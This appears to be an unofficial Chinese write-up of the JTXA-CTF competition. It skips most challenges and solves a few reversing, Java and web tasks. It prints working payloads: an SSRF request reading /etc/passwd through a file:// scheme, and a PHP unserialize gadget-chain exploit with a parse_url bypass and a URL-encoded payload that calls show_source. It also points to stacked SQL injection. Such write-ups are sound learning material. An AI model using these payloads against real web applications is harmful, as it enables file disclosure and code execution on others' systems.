JTXA-CTF 非官方writeup
官方版还没发布,吃瓜群众版writeup先行发布,超详细的。
0x1 好像没有什么思路
略
0x2 好像没有什么思路2
也略
0x3 Caesar
继续略
0x4 babyRSA
这题还是略
0x5 SSTI
没环境,略
0x6 这是什么
提取zip包,我直接WinRAR打开都没提示加密,解压后是Base64隐写,直接脚本跑就好了。
1 | def get_base64_diff_value(s1, s2): |
0x7 ok
brainfuck,略
0x8 reverse me!
程序要求输入账号和密码,要root密码正确才能进行加密功能,以下是加密函数。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28_BOOL8 __fastcall sub_400DCA(const char *a1)
{
unsigned int i; // [rsp+1Ch] [rbp-64h]
__int64 v3; // [rsp+20h] [rbp-60h]
__int64 v4; // [rsp+28h] [rbp-58h]
__int64 v5; // [rsp+30h] [rbp-50h]
int v6; // [rsp+38h] [rbp-48h]
char v7; // [rsp+3Ch] [rbp-44h]
char s1[8]; // [rsp+40h] [rbp-40h]
__int64 v9; // [rsp+48h] [rbp-38h]
__int64 v10; // [rsp+50h] [rbp-30h]
__int64 v11; // [rsp+58h] [rbp-28h]
unsigned __int64 v12; // [rsp+68h] [rbp-18h]
v12 = __readfsqword(0x28u);
v3 = '_emolceW';
v4 = 'rever_ot';
v5 = 'llahc_es';
v6 = 'egne';
v7 = 0;
*(_QWORD *)s1 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
for ( i = 0; i < strlen(a1); ++i )
s1[i] = *((_BYTE *)&v3 + i) ^ a1[i];
return strcmp(s1, s2) == 0;
}
简单xor,可以直接计算出密码。注意s2
的长度为31,不够需要补\x00
。1
2
3a = '_emolceW'[::-1]+'rever_ot'[::-1]+'llahc_es'[::-1]+'egne'[::-1]
a = a.ljust(31,'\x00')
print ''.join( chr(Byte(0x401110+i)^ord(a[i])) for i in range(len(a)) )
加密函数会打开flag.txt
,然后用输入的密码生成一个key,再进行加密运算(著名逆向高手刘大神说是一个标准RC4)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45unsigned __int64 __fastcall sub_400BDD(const char *passwd)
{
unsigned __int64 passwd_len; // rax
signed int i; // [rsp+14h] [rbp-42Ch]
FILE *stream; // [rsp+18h] [rbp-428h]
unsigned __int64 flag_len; // [rsp+20h] [rbp-420h]
FILE *v6; // [rsp+28h] [rbp-418h]
char key[256]; // [rsp+30h] [rbp-410h]
char v8[256]; // [rsp+130h] [rbp-310h]
char flag; // [rsp+230h] [rbp-210h]
unsigned __int64 v10; // [rsp+438h] [rbp-8h]
v10 = __readfsqword(0x28u);
memset(key, 0, sizeof(key));
memset(v8, 0, sizeof(v8));
memset(&flag, 0, 0x200uLL);
fwrite("hello root user\n", 1uLL, 0x10uLL, stdout);
stream = fopen("./flag.txt", "r");
if ( stream )
{
fgets(&flag, 512, stream);
flag_len = strlen(&flag);
fclose(stream);
passwd_len = strlen(passwd);
init_key((__int64)key, (__int64)passwd, passwd_len);
for ( i = 0; i <= 255; ++i )
v8[i] = key[i];
encrypt((__int64)key, (__int64)&flag, flag_len);
v6 = fopen("./enc.txt", "w");
if ( v6 )
{
fprintf(v6, "%s\n", &flag);
fclose(v6);
}
else
{
puts("Open Failed.");
}
}
else
{
puts("Open Failed.");
}
return __readfsqword(0x28u) ^ v10;
}
查看encrypt
,实际上涉及flag的运算只有最后一步的异或,因此无需逆算法。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15v6 = 0;
v7 = 0;
for ( i = 0LL; ; ++i )
{
result = i;
if ( i >= a3 )
break;
v6 = (unsigned __int8)(((unsigned int)((v6 + 1) >> 31) >> 24) + v6 + 1) - ((unsigned int)((v6 + 1) >> 31) >> 24);
v3 = (unsigned int)((v7 + *(unsigned __int8 *)(v6 + key)) >> 31) >> 24;
v7 = (unsigned __int8)(v3 + v7 + *(_BYTE *)(v6 + key)) - v3;
v4 = *(_BYTE *)(v6 + key);
*(_BYTE *)(key + v6) = *(_BYTE *)(v7 + key);
*(_BYTE *)(key + v7) = v4;
*(_BYTE *)(flag + i) ^= *(_BYTE *)((unsigned __int8)(*(_BYTE *)(v6 + key) + *(_BYTE *)(v7 + key)) + key);
}
只要将题目提供的enc.txt
改名成flag.txt
,然后进行一次加密,结果就出来了。
0x9 Mix
1 | package com.ctf.mix; |
跟进ctfmix.verify(this.pw.trim())
1 | package com.ctf.mix; |
函数先检查输入的开头和结尾,熟悉的flag格式ctf{}
,然后中间的字符再进入change函数验证。
关键代码是:1
arg5[v0] = ((byte)(4 * arg5[v0] & 0xFF | arg5[v0 + 1] >> 6));
这串运算相当于吧arg5[v0]左移两位,然后把下一个字符arg5[v0+1]的高两位放到arg5[v0]的低两位。因此逆运算只要把整串字符串二进制循环右移两位即可。
1 | a = [-43, -108, -35, -112, -35, -119, -120, -28, -64, -55, -115, -111, -112, -55, -112, -44, -40, -52, -32, -44, -60, -43, -124, -36, -59, -115, -112, -52, -32, -32, -63, -116] |
0xA welcome
略
0xB babyROP
这是抄X-man入门系列的吧,略。
0xC notfound
1 | # -*- coding:utf-8 -*- |
流程:首先通过get读取参数cc,然后调用getinfos
执行eval
,赋值给file_info
,不过黑名单过滤很全,不能直接执行命令。之后进入gets
函数,判断file_info
类型进行urlopen
打开链接,注意到如果类型为dict
时,info['http']
我们可控,因此读入一个字典可以进行ssrf。
最终payload:1
http://127.0.0.1/getpar?cc={'url':'127.0.0.1','path':'/etc/passwd','http':'file://'}
0xD 好长的一个大串
略
0xE babyphp
通过文件包含可以读到题目源码。
index.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
@ini_set('open_basdir', '/var/www/html');
error_reporting(0);
$static = 1;
$file =$_GET['file'];
$payload = $_GET["payload"];
if(!isset($file)){
die();
}
if(preg_match("/flag/i", $file)){
echo 'flag{This_is_Fake_flag}';
exit();
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER["REQUEST_URI"]);
parse_str($url['query'], $query);
foreach ($query as $key => $value) {
if(@preg_match("/flag/i", $value)){
die("no no no ");
exit();
}
}
$payload = unserialize($payload);
}
else{
exit();
}
class Application{
public $pathinfo;
public $aaa;
public $bbb;
public function __destruct(){
$GLOBALS['static'] = 0;
$this->aaa = md5(rand(1,10000));
if($this->aaa===$this->bbb){
$this->pathinfo = unserialize($this->pathinfo);
}
}
}
info.php1
2
3
// 此处省略448行
info.php代码量巨大,但实际上有用的并不多。简单看了一下代码,基本可以确定考点是反序列化。把有用的代码提取出来,这样容易看点。
1 |
|
整条反序列化链基本就出来了,简单流程就是:
- index.php中先触发Application的反序列化,因为info中会检查全局变量
$GLOBALS['static']
- Application中再触发info的反序列化
$content = $this->source
触发调用类的__get()
方法__get()
会调用get()
,对value
进行赋值- 最后调用
_applyFilter($value)
,此函数中call_user_func
可执行命令
以下是exp代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Application{
public $pathinfo;
public $aaa;
public $bbb;
function __construct($o){
$this->bbb = &$this->aaa;
$this->pathinfo = $o;
}
}
class info{
private $_params = array();
private $_filter = array();
function __construct(){
$this->_params = array('source' => '/flag');
$this->_filter = array('show_source');
}
}
$b = new info();
$a = new Application(serialize($b));
echo urlencode(serialize($a));
parse_url
函数在解析url时存在的bug ,通过:///x.php?key=value
的方式可以使其返回False
最终payload:1
http://127.0.0.1///index.php?file=info.php&payload=O%3A11%3A%22Application%22%3A3%3A%7Bs%3A8%3A%22pathinfo%22%3Bs%3A117%3A%22O%3A4%3A%22info%22%3A2%3A%7Bs%3A13%3A%22%00info%00_params%22%3Ba%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A5%3A%22%2Fflag%22%3B%7Ds%3A13%3A%22%00info%00_filter%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A11%3A%22show_source%22%3B%7D%7D%22%3Bs%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A3%3B%7D
0xF sqli
参考强网杯的随便注,同样是堆叠注入,编码或者字符串拼接绕过过滤即可。
0x10 隐藏的用户名
脑洞题,没环境,略。